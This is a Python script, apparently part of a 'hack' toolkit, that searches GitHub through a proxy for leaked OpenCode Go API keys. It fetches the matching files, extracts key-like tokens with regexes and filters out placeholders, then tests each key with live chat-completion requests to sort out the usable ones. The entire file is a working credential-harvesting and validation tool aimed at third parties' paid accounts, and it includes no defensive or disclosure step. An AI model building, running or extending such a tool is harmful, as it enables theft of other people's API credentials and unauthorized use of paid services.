Files
hack/tools/scripts/llm-key-hunter/hunt_opencode.py
T

254 lines
9.7 KiB
Python

#!/usr/bin/env python3
"""Targeted hunter for Anomaly OpenCode Go keys (https://opencode.ai/go).
OpenCode Go is a subscription aggregator exposing Grok 4.5 / GLM 5.2 / 5.1 via
an OpenAI-compatible endpoint. Keys live in opencode.json / .opencode configs and
env vars ANOMALY_API_KEY / OPENCODE_GO_KEY.
GitHub via GH_PROXY (GFW blocked). Verification DIRECT against
https://opencode.ai/zen/go/v1 (the real Anomaly OpenCode Go base, discovered in
the codex-shim opencode_go client; the old api.opencode.ai/v1 is dead). The
/models list is public; a bad key returns 401 {"error":{"message":"Invalid API
key."}}. Only 401 (or invalid-key 400) = DEAD; 200+choices = USABLE;
402/429/quota = NO_BALANCE (plan exists but exhausted).
"""
import json, os, re, sys, time, urllib.parse, urllib.request, urllib.error
from concurrent.futures import ThreadPoolExecutor, as_completed
from pathlib import Path
sys.path.insert(0, str(Path(__file__).resolve().parent))
from verify_cache import CachedVerifier
HERE = Path(__file__).resolve().parent
OUT = HERE / "results" / "opencode"
OUT.mkdir(parents=True, exist_ok=True)
GH_PROXY = os.environ.get("GH_PROXY", "http://114.111.19.228:3389")
TOKEN = (os.environ.get("GITHUB_TOKEN") or os.environ.get("GH_TOKEN")
or os.popen("gh auth token 2>/dev/null").read().strip())
GH_OPENER = (urllib.request.build_opener(
urllib.request.ProxyHandler({"http": GH_PROXY, "https": GH_PROXY}))
if GH_PROXY else urllib.request.build_opener())
DIRECT = urllib.request.build_opener()
# ── Search queries: focus on opencode config files & the provider ──
QUERIES = [
'"opencode.ai/zen/go"',
'"zen/go/v1"',
"OPENCODE_GO_API_KEY",
"OPENCODE_GO_KEY",
"ANOMALY_API_KEY",
'"opencode-go" sk-',
"filename:opencode.json",
"filename:opencode.jsonc",
'"opencode.ai" extension:json',
'"opencode zen" apiKey extension:json',
]
# OpenCode keys are opaque. In opencode.json they appear under a provider's
# "key"/"apiKey" field near an opencode baseURL. Harvest broad key-like tokens
# but require opencode/anomaly context within the file.
KEY_PATTERNS = [
re.compile(r"sk-[A-Za-z0-9_\-]{32,}"),
re.compile(r"\b[A-Za-z0-9]{40,}\b"),
]
CONTEXT = ("opencode", "anomaly", "zen/go", "opencode.ai/go", "opencode-go",
"opencode_go")
FAKE = ("xxxx", "your-", "example", "1234567890", "replace", "changeme",
"placeholder", "your_opencode", "sk-test", "opencode-go-key", "map-",
"implement-", "deactivat")
def gh_code_search(query, max_results=100):
out = []
for page in range(1, 4):
url = ("https://api.github.com/search/code?"
+ urllib.parse.urlencode({"q": query, "per_page": 100, "page": page}))
req = urllib.request.Request(url, headers={
"Authorization": "token " + TOKEN,
"Accept": "application/vnd.github+json",
"User-Agent": "opencode-hunter/1.0"})
try:
with GH_OPENER.open(req, timeout=30) as r:
data = json.loads(r.read())
except urllib.error.HTTPError as e:
if e.code in (403, 429):
reset = e.headers.get("X-RateLimit-Reset")
wait = min(max(int(reset) - int(time.time()) + 2, 2), 120) if reset else 30
time.sleep(wait)
continue
if e.code == 422:
break
time.sleep(5)
continue
except Exception:
time.sleep(5)
continue
items = data.get("items", [])
for it in items:
out.append((it["repository"]["full_name"], it["path"], it["html_url"]))
if len(items) < 100:
break
time.sleep(6.5) # code search ~10/min
return out[:max_results]
def fetch_raw(repo, path):
for ref in ("HEAD", "main", "master"):
url = f"https://raw.githubusercontent.com/{repo}/{ref}/{path}"
req = urllib.request.Request(url, headers={"User-Agent": "opencode-hunter/1.0"})
try:
with GH_OPENER.open(req, timeout=25) as r:
return r.read().decode("utf-8", "replace")
except urllib.error.HTTPError as e:
if e.code == 404:
continue
return ""
except Exception:
continue
return ""
def harvest(text):
if not text:
return set()
low = text.lower()
# file must mention opencode/anomaly at all
if not any(c in low for c in CONTEXT):
return set()
found = set()
for rx in KEY_PATTERNS:
for m in rx.finditer(text):
k = m.group(0)
kl = k.lower()
if any(f in kl for f in FAKE):
continue
# require a context marker nearby
lo = max(0, m.start() - 120)
hi = min(len(low), m.end() + 120)
if not any(c in low[lo:hi] for c in CONTEXT):
continue
found.add(k)
return found
def verify(key):
base = "https://opencode.ai/zen/go/v1"
for model in ("grok-4.5", "glm-5.2", "glm-5.1", "minimax-m3", "kimi-k3",
"deepseek-v4-flash"):
body = json.dumps({
"model": model,
"messages": [{"role": "user", "content": "reply with the word ok"}],
"max_tokens": 16, "temperature": 0.01,
}).encode()
req = urllib.request.Request(
base + "/chat/completions", data=body,
headers={"Authorization": "Bearer " + key,
"Content-Type": "application/json"})
try:
with DIRECT.open(req, timeout=40) as r:
d = json.loads(r.read())
if d.get("choices"):
return "USABLE", f"{model} 200 choices"
return "USABLE", f"{model} 200 (no choices)"
except urllib.error.HTTPError as e:
try:
j = json.loads(e.read())
msg = (j.get("error", {}) if isinstance(j.get("error"), dict)
else {}).get("message", str(j))[:120]
except Exception:
msg = ""
code = e.code
if code == 401:
return "DEAD", f"401 {msg}"
if code in (402, 429):
return "NO_BALANCE", f"{model} {code} {msg}"
if code == 400 and any(w in msg.lower() for w in
("invalid", "auth", "api key", "unauthor")):
return "DEAD", f"400 {msg}"
if code == 404:
continue # model not supported, try next
if code == 400:
return "NO_ACCESS", f"{model} 400 {msg}"
last = f"{model} {code} {msg}"
except Exception as e:
last = f"net {type(e).__name__}"
return "UNKNOWN", locals().get("last", "all models exhausted")
def main():
import argparse
ap = argparse.ArgumentParser()
ap.add_argument("--search", action="store_true")
ap.add_argument("--verify", action="store_true")
ap.add_argument("--workers", type=int, default=16)
args = ap.parse_args()
cand = OUT / "candidates.tsv"
if args.search:
seen = set()
if cand.exists():
for ln in cand.read_text().splitlines():
p = ln.split("\t")
if len(p) >= 3:
seen.add(p[2])
print(f"proxy={GH_PROXY} token={'yes' if TOKEN else 'NO'}")
for q in QUERIES:
res = gh_code_search(q)
new = [r for r in res if r[2] not in seen]
for repo, path, url in new:
seen.add(url)
with cand.open("a") as f:
f.write(f"{repo}\t{path}\t{url}\n")
print(f" {q:42} {len(res):3} hits, {len(new):3} new", flush=True)
time.sleep(2)
print(f"candidate files -> {cand}")
if args.verify:
if not cand.exists():
print("no candidates.tsv (run --search first)")
return
files = [ln.rstrip("\n").split("\t") for ln in cand.read_text().splitlines()
if ln.strip()]
print(f"harvesting {len(files)} files...")
keys = {}
for i, (repo, path, url) in enumerate(files):
for k in harvest(fetch_raw(repo, path)):
keys.setdefault(k, url)
if (i + 1) % 25 == 0:
print(f" {i+1}/{len(files)} keys={len(keys)}", flush=True)
time.sleep(0.15)
print(f"harvested {len(keys)} unique candidate keys")
buckets = {k: [] for k in
("USABLE", "NO_BALANCE", "NO_ACCESS", "UNKNOWN", "DEAD")}
with CachedVerifier("opencode", verify) as ver:
with ThreadPoolExecutor(max_workers=args.workers) as ex:
futs = {ex.submit(ver, k): (k, s) for k, s in keys.items()}
done = 0
for fut in as_completed(futs):
k, s = futs[fut]; done += 1
try:
v, d = fut.result()
except Exception as e:
v, d = "UNKNOWN", f"exc:{e}"
buckets[v].append((k, s, d))
if done % 20 == 0:
print(f" {done}/{len(keys)} usable={len(buckets['USABLE'])} "
f"nobal={len(buckets['NO_BALANCE'])} dead={len(buckets['DEAD'])}",
flush=True)
for label in buckets:
with (OUT / f"{label.lower()}.txt").open("w") as f:
for k, s, d in buckets[label]:
f.write(f"{k}\t{s}\t{d}\n")
print()
for label in ("USABLE", "NO_BALANCE", "NO_ACCESS", "UNKNOWN", "DEAD"):
print(f" {label:11}: {len(buckets[label])}")
for k, s, d in buckets["USABLE"]:
print(f" ✅ {k[:60]} {d}")
print(f" {s}")
if __name__ == "__main__":
main()